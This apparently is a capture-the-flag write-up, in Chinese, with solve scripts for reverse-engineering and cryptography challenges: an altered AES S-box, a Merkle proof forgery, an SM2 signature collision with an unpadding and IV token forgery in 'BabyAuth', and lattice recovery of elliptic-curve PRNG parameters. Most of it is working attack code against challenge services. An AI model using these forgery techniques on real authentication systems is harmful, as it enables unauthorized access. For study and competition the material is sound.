0x04, 0x08, 0xA1, 0x9A, 0x5D, 0x77, 0x0C, 0x83,
0xC6, 0x76, 0x32, 0x50, 0x17, 0xCD, 0x7F, 0x72,
0x05, 0xFB, 0x4E, 0x15, 0xCF, 0xB7, 0x52, 0x64,
0x36, 0x8C, 0x59, 0x80, 0x30, 0xEF, 0xA2, 0xF6,
0xFD, 0xAC, 0xFE, 0x81, 0xEB, 0xDA, 0x1B, 0xC9,
0xCC, 0x96, 0xEE, 0xBA, 0x9B, 0xB3, 0x2C, 0xCB,
0xC1, 0x7D, 0xD3, 0x61, 0x2B, 0xC3, 0xA7, 0x78,
0x55, 0x87, 0xEA, 0xA9, 0x3A, 0x37, 0x43, 0xE6,
0x67, 0xAA, 0x4F, 0x2A, 0x71, 0x10, 0x65, 0xE2,
0x73, 0x94, 0x57, 0xE5, 0x44, 0x24, 0xE4, 0xDD,
0x09, 0x1F, 0xF7, 0x98, 0x4C, 0xC2, 0x8D, 0x00,
0x42, 0xFF, 0x5F, 0x66, 0xD2, 0xC5, 0x79, 0x39,
0xD6, 0x82, 0x33, 0x9E, 0x19, 0xAE, 0x3F, 0xE3,
0x47, 0x20, 0x53, 0xB4, 0x12, 0x69, 0x26, 0xF3,
0x41, 0x46, 0x9F, 0x93, 0x11, 0xB1, 0x3E, 0x8A,
]
func_0001对sbox进行了异或
#include <stdio.h>
#include <string.h>
#include <stdint.h>
// Enable ECB, CTR and CBC mode. Note this can be done before including aes.h or at compile-time.
// E.g. with GCC by using the -D flag: gcc -c aes.c -DCBC=0 -DCTR=1 -DECB=1
#define CBC 1
#define CTR 1
#define ECB 1
#include "aes.h"
int main(void)
{
uint8_t key[] = { 0x64,0x34,0x63,0x66,0x67,0x64,0x66,0x36,0x66,0x63,0x62,0x34,0x65,0x62,0x67,0x6d };
uint8_t iv[] = { 0xf9,0xfd,0xfd,0xff,0xf4,0xf5,0xa8,0xf4,0xa9,0xfc,0xf5,0xa9,0xff,0xfd,0xfd,0xf4 };
uint8_t in[] = { 0xec,0xb9,0xf6,0xa3,0x99,0x97,0x0a,0x06,0x9e,0x64,0x2e,0x01,0xbb,0x15,0xc0,0x3c,0x2b,0x69,0x92,0xfa,0xf7,0x80,0x05,0x90,0x78,0xf4,0x68,0x56,0xc4,0x6e,0xbc,0x55 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, in, 32);
for (int i = 0; i < 32; ++i)
printf("%c", in[i]);
printf("\\n");
}
https://github.com/kokke/tiny-AES-c 逆sbox是aes自己生成,改rsbox不行,要改sbox
CRYPTO
HappyTree
利用A、B、C与hash(A||B)构造四个不同的leaf,完成proofs验证:
["0x81376b9868b292a46a1c486d344e427a3088657fda629b5f4a647822d329cd6a","0x28cac318a86c8a0a6a9156c2dba2c8c2363677ba0514ef616592d81557e679b6","0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d","0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e"]
[["0x28cac318a86c8a0a6a9156c2dba2c8c2363677ba0514ef616592d81557e679b6","0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486"],["0x81376b9868b292a46a1c486d344e427a3088657fda629b5f4a647822d329cd6a","0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486"],["0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d","0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e"],["0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486"]]
[0,1,2,0]
BabyAuth
两个洞,sm2过程没做哈希可以撞,unpad没检测
sm2的签名伪造构造格可以找到碰撞
最终构造方式如下,sm4哈希字段不超过64位可以利用输入id获取相应明文,之后利用unpad没做检测,清除解码错误的一段
sm2部分通过构造碰撞即 m=m’(mod n)
,找到相应的m’进行注册获取签名的加密,同样利用unpad做操作
明文部分的构造利用了json格式的压缩即 b'{"rwx":1,"id":"'+admin.encode()+b'"}'
然后获取session_admin除去a之外的片段的加密结果,最后利用iv将第一块解密结果变为 {"rwx":1,"id":"a
刚好16字节
sm2签名碰撞如下
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
from Crypto.Util.number import *
target0 = b'{"rwx": false, "id": "admindef69443cd581386ae6bdf43c9466069aed7b8599b23cd89a7fb055519d9a61f"}'
target = bytes_to_long(target0)
fake0 = b'{"rwx": true, "id": "nnonmomlmqrsoiitnlpmqlrmutorkgtmfoljpfaglldusmnnsjnowplucmnrmtsumvlpojjovjlkssgh"}'
print(len(fake0))
fake = bytes_to_long(fake0)
k1 = b'{"rwx": true, "id": "'
k2 = b'"}'
k1 = bytes_to_long(k1)
k2 = bytes_to_long(k2)
print((fake-target)%n)
#target-2**(8*82)*k1-k2 == 2**16*
print((target-2**(8*82)*k1-k2)%n)
############
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
k1, k2 = 179961359770103107447234742493082834586200849391650, 8829
res = 25618895890911521090094843158338215016132602193084685226403824944555865333098
g = 2^512
A = matrix(ZZ, 82, 82)
for i in range(80):
A[i,i] = 1
A[i,81] = (2^((2+i)*8)%n)*g
A[80,i] = -110
A[80,80] = 1
A[80,81] = -(res%n)*g
A[81,81] = n*g
basis = A.LLL()
for i in basis:
if abs(i[-2]) == 1:
print(i)
###############
t = (-6, -7, 5, 5, -3, -2, -4, 8, 1, -4, -4, 1, 2, -2, 8, -1, 7, 5, 6, -1, 4, 0, -1, -11, 7, -2, 2, 9, 1, 0, -4, 5, 0, 0, -1, 5, 7, -10, -2, -2, -7, -13, -8, 2, -4, -2, 1, -8, -1, 6, -7, -3, 4, 1, 6, 7, -1, 4, -2, 3, -1, 2, -2, 0, 6, -5, -5, 1, 5, 4, 3, -1, -2, -1, 1, -1, 0, 1, 0, 0, 1, 0)
m = b''
for i in range(len(t)-2):
m += bytes([110+t[i]])
print(m[::-1].decode())
交互的脚本没打通,手动打的脚本如下
from functools import reduce
import json
from gmssl import sm2, sm3, sm4
#gmssl version 3.2.1
from gmssl.func import bytes_to_list as b2l
admin = 'admin'+'c3a5890d5172907266f07597f634bff2886392c19f0339927c0dafb3409ea937'
msg = b'{"rwx":1,"id":"'+admin.encode()+b'"}'
dig = sm3.sm3_hash(b2l(msg)).encode()
payload = b'aaaaaaaaaa'+dig
print("payload",payload)
token1 = '9a11733ee628ae7e77dfd49ed9bed3a2fc67637d55242cf97919fb4fd7ebb0738458e6240f9465e7ff91436252262789a9f48f678e989efacbefb5aec9007bfba51c2fb6ed5d38360e0b43fe5168d977992aa4e6cac6e27201e7932db2b2a5ccaea116705061b091c407be0ab1563a23c36adea4c393c0603878d857a87145b16131f8dcbed64b216b701ef775ee68faafa8e93cc0c50f2c53b406cecd5c9ef39cf846797266daca1027c91eae563267e03e498666a701699c031993a41e349a803b52a84129838ea29d3fd35938bd28bc2967856a5999d2fd253ca16ca7303cff328131f7e2f8e454c29c98f44500b072f94003e7b7b413fc582fed464f7c95f5a8a7a520a61bc860b28d8656da9d2a5dfc7e2820ae632a58cd6fba665388ad9368a89a51c641aa51fc86a5bdf425e6130e1f1becfd7a8fd318f838817c514f2b5e0c171041d54eca8c69bca92627759ab628875d6279e521afd51ed8f791b9a869540cbce2e33b67afe7389b9ed457'
token1 = token1[32:]
tk1_1 = token1[:32]
tk1_2 = token1[32:32+32*5]
sign = tk1_1[-2:]
one = 32^int(sign,16)^97
print(one)
payload = b'aaaaaaaaaa0000000000000000'
print("payload",payload)
token2 = 'b74f6b0a22b7379e1639972635b5444368c1f4cee982ef3639d269ee43d1eae5124438233a482dd43ab55bdec974d6a17c73b430b431bf62a6b636a431c359df26be09a58d671b8a6a4bfd43a925b592d175aa29cff73592be5c1e2f93b37d2919a9973486b7b5b9491aaed9c9f1d06f9517c74449e5f1a815b0b5362097185e19ad09987eb2fdc9e2c3b8b0ecc347ddd1bd4ecf542d7e08001ada95e308dce3395b4c8b80322d85ca994a8711589e53bbd16a7095e6bd1c38a34a178d2b81580eaec0ddfacf80cacf7b46daf00bdb9b5aba7f6b904a07e15e5d34acd0f9e66ba4de6605c34aba1a964b48b04dc713ddab2f5cca1dc80242677fdaa5c9b4a727afaff56f390fc1faf1cbb34b33c800c36a4275c774609a401cd727e3fd700b8982532851cc1f7db897448dee7318c35e3d5550f9da1f1efc004030d026a45967'
token2 = token2[32:]
tk2_1 = token2[:32]
tk2_2 = token2[32:32+32*2]
B = '000000000000000000000000000000'+hex(one)[2:].rjust(2,'0')+tk1_2+'a'*32+tk2_2
my_pad = 'a'*32+tk2_2
from Crypto.Util.number import *
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
target0 = b'{"rwx":1,"id":"'+admin.encode()+b'"}'
target = bytes_to_long(target0)
k1 = b'{"rwx": false, "id": "'
k2 = b'"}'
k1 = bytes_to_long(k1)
k2 = bytes_to_long(k2)
print((target-2**(8*82)*k1-k2)%n)
print(admin)
print("yours:")
#fake = input("yours:")[:-1]
#io.sendline('1')
#io.sendline(fake)
token3 = 'df8cb7607f3aaf4a855926ab92049e65d870a631b4a15f423a52fcb65d691caca2100e5c4403a48e9c26e24f5769cd9235a6a9d8614b61d2e80658db63d8655040ec448ea167a8f4448d76474a3e2822dec85125876b3e0960b8975ed87f1a998e4c2d5a715205288bb1eb483d34130860d8ddbd44fc47d9642163b841c028e2b800acba83b941175b3b26c2c6c5c1d1520d93d271f0699177698cfb705d0f052a458a9cb1aef137d9ed2c4a39809cfaead9f872e1af948a951748b00a07e4c376641f90a58755cff745402c80f0409e81a7f392ac601b01b5cf3548ea371ee523bda30cd248010715f3b812637d9e024a4ec013b8e07eb231972cb8d7eff9476b0bde7afb3a761dd41776ac7a8796ca6b9a7af7844e0f1e48d722b9872898c34626aa4191d9f2cde8bd6efe9162ac01960023ec30f709e0fd5e4a946a5212c5f4eefce3722bc78c69d0a8fd1466f53973ab449e249ab27993edc3f274190483e7c13d5b1ad3564d8d3e71ccfc0d38c0'
token3 = token3[32:]
tk3_1 = token3[160:192]
tk3_2 = token3[192:192+9*32]
sign = tk3_1[-2:]
one = 42^8^int(sign,16)
A = '000000000000000000000000000000'+hex(one)[2:].rjust(2,'0')+tk3_2
payload = 'aaaaaaaaab'+admin[1:]
print("mememe",payload)
token4 = '104ce7f2d08a9b8a4860426e6f4bff6d93a365e26137080d21d23d405560aad810627c4c9d6b3a9540e760671322c691c07421bdd6bc27d6b3c049b8a58540de3119f2f0f19eb846a816f5eda2fe6fd144514fc0202b8c809594e6cbd19b861102cefc4faca3f4ab3f8385fa3a8d3c1271cc4cabb8243fb0f161b2a9e1dfa24415811b1ce0b25a55226fd7d6c43f8f3b79a126f5f8d5ff2be5ba359df3a12a0d1bccdf86b60e31156e985357563c3007a79857f6eb4d552fc274bebaabe5c531392b8955758bfa2da7d44b71c1836353e98634957b38693f2e68f3ee622f30d51b0ac0e9aecd5c4f59a545572235be659f994db19f4f9d610a0b6f85d2e7b165273e8e0ac8731b9667f7d17f700df0b76576248237faafe8bdeef779dcbe33963904b994c6bebb6889dead6bd29bd2b490da8f7dc87c03c9021545f4c6ddfc72b245419bd25acef545044d4b47e82a1abdc84ca0766ec9beba428e2391bc86296f071c446b18f33d635511840c9ebe85'
token4 = token4[32:]
tk4_1 = token4[:32]
tk4_2 = token4[32:32*6+32]
from Crypto.Util.strxor import strxor
a = strxor(b'id": "aaaaaaaaab',b'{"rwx":1,"id":"a')
b = bytes.fromhex(tk4_1)
iv = strxor(a,b).hex()
fake_token2 = iv+tk4_2+A+B+my_pad
print(fake_token2)
[DEBUG] Received 0x41 bytes:
b'Response: aliyunctf{Cryp70gr@ph1c_Vu1n3rab!litie5_4re_Ever9wh3re}'
Response: aliyunctf{Cryp70gr@ph1c_Vu1n3rab!litie5_4re_Ever9wh3re}[DEBUG] Received 0x3 bytes:
b'\\n'
b'> '
BabyPRNG
p = 155943123533322702483779005875559084248382719113177837248757577951277548698505339081662102364170900916437485512378317006536774878361449466939326674977021267429630671839013681547789396734894617292308704815531192285353773496176483060675261100517766298247863521104286554950659874107572059407394192276658359307829
O = [33538323031330116579182664911270655671284408591657869929473190727968605621334320612640461874132910438536898735856099721191203310530413479819258199243323557516808133431378331936074357470917931172297180484349051309538878722088371356084215760092250112754970342916080353575152960730855762266709529728594, 16637772041650781908156392315909176927334577234549726377556312195677202638928694652128479461558945322670593931178323715670134744566889932504998169133088567701134100733811505986094217856159691443769995417794573960222560282867529359993097452451789772141044842250819310619427787484095957251728652937936, 25424582313663685429976175477689488085596950021504879925196994712834804118313045221082319652523450631637285509511769619125692458305300028805489757534666075450601040686331395472953451494263514215703739677827585015359501411161694380821670502030634567324313791647475256508110355493057544328964208880501, 19918718178676007516193147009749188816570331369144511809795584263295338908314255247345571124785481722447554602663585926422846695524833905027022431311700483717458646437854767444626170688790268779035927807849888036218259640211085946263093420539509864119021557706593942025740343147663998572700434154619, 5859249581424626595193309378811862296514754238274992778338721740972292695974679872677630811481334751807970255206707509291018285366186334544882016722637512019898551516171237888612699377004623478344541291398104686088730047599793403883097149357306290422938950168757892389722365785363104735488176586627, 9295970749007453644986620066097027661004704592476308956490898419186393077690686142844945982892151294931956763356753418331027405222070917399180704221710145868178965027343929436773151015468181440185179566976145250986503444651771709197378060490132886640766439672236296306659303110317780429632288435731]
c = 59971234895969036245341320715591841239834316893141096620641808175002696105947230641661036775749823620465418289710968957143115453029717735108970688990126047053828740995503230026366408832930530509698058401294256792956239382328780876359347378554662033734433577312731461841415240411226445845403502510186409302894
import random
DEBUG = False
if DEBUG:
p = random_prime(2^1024,proof=False)
a = randint(1,p)
b = randint(1,p)
print(a)
print(b)
BITS = 32
E = EllipticCurve(GF(p), [a, b])
print(E)
G = E.random_element()
print(G)
O = []
for _ in range(3):
G *= 1337
O.append(G[0] >> BITS)
O.append(G[1] >> BITS)
print(G[0], G[1])
print(p)
print(O)
print(cputime())
# <https://nbviewer.org/urls/gist.githubusercontent.com/hellman/a8c9a09b1ce6959226f9d75cf94b805f/raw/66ce90c66db7e87a1ab2a2e17bbb62c03b35acc1/write.ipynb>
_O = O[:]
F = GF(p)
for retries in range(1337):
O = [(_O[i] << 32) + random.getrandbits(32) for i in range(6)]
#print(O)
x0 = F(O[0])
y0 = F(O[1])
x1 = F(O[2])
y1 = F(O[3])
x2 = F(O[4])
y2 = F(O[5])
BITS = 30
# SOLVING
R = PolynomialRing(F, names='aa0, aa1, aa2, bb0, bb1, bb2, a, b')
aa0, aa1, aa2, bb0, bb1, bb2, a, b = R.gens()
bounds = dict(aa0=2**BITS, aa1=2**BITS, aa2=2**BITS, bb0=2**BITS, bb1=2**BITS, bb2=2**BITS)
eq0 = (x0 + aa0)**3 + a*(x0 + aa0) + b - (y0 + bb0)**2
eq1 = (x1 + aa1)**3 + a*(x1 + aa1) + b - (y1 + bb1)**2
eq2 = (x2 + aa2)**3 + a*(x2 + aa2) + b - (y2 + bb2)**2
def resultant(p1, p2, var):
p1 = p1.change_ring(QQ)
p2 = p2.change_ring(QQ)
var = var.change_ring(QQ)
r = p1.resultant(p2, var)
return r.change_ring(F)
poly = eq0
poly1 = resultant(poly, eq1, b)
poly2 = resultant(poly, eq2, b)
poly = resultant(poly1, poly2, a)
poly /= poly.coefficients()[0]
#print(poly.monomials())
#print(len(poly.monomials()))
bits = 0
tmp = {}
tmp2 = {}
for mono, coeff in zip(poly.monomials(), poly.coefficients()):
mono_bits = int(RR(log(mono.change_ring(ZZ).subs(**bounds), 2)))
if coeff > p//2:
coeff = F(-int(coeff))
mono = -mono
#print(mono, mono_bits , coeff)
if coeff not in tmp:
#print("add", (mono_bits, coeff), "to tmp")
tmp[coeff] = mono
bits += mono_bits
tmp2[coeff] = mono_bits
else:
tmp[coeff] += mono
#print(bits, "total")
#print(int(p).bit_length(), "limit")
#print(len(tmp))
#print(poly)
#print(tmp)
keys = list(tmp.keys())
#print(keys)
#print(tmp2)
#print([tmp2[i] for i in keys])
A = matrix(ZZ,23,23)
for i in range(22):
A[i,i] = 1 << (tmp2[keys[0]] - tmp2[keys[i+1]])
A[i,22] = int(keys[i+1])
A[22,22] = p
B = A.LLL()
#print(B)
ans = B[5]
#print(ans)
#print([tmp[i].coefficients() for i in keys[16:22]])
signs = [-1 if tmp[i].coefficients()[0] == 1 else 1 for i in keys[16:22]]
#print([tmp[i] for i in keys[16:22]])
#print(signs)
x0 = x0 + (ans[15]>>(3*BITS)) * signs[0]
x1 = x1 + (ans[16]>>(3*BITS)) * signs[1]
x2 = x2 + (ans[17]>>(3*BITS)) * signs[2]
y0 = y0 + (ans[18]>>(3*BITS)) * signs[3]
y1 = y1 + (ans[19]>>(3*BITS)) * signs[4]
y2 = y2 + (ans[20]>>(3*BITS)) * signs[5]
#print(ans[21],ans[22])
#print(x0,y0)
#print(x1,y1)
#print(x2,y2)
C = matrix(GF(p),3,3,[x0*x0*x0-y0*y0,x0,1,x1*x1*x1-y1*y1,x1,1,x2*x2*x2-y2*y2,x2,1])
ans = C.right_kernel().basis()
#print(ans)
#print(BITS)
print(retries, cputime())
if ans:
print(ans)
print(O)
_,a,b = ans[0]
print('a =', a)
print('b =', b)
if not DEBUG:
m = pow(c,pow(1337,-1,p-1),p)
assert pow(m,1337,p) == c
flag = (m - pow(b,3713,p)) * pow(a, -3371, p) % p
print(bytes.fromhex(hex(flag)[2:]))
break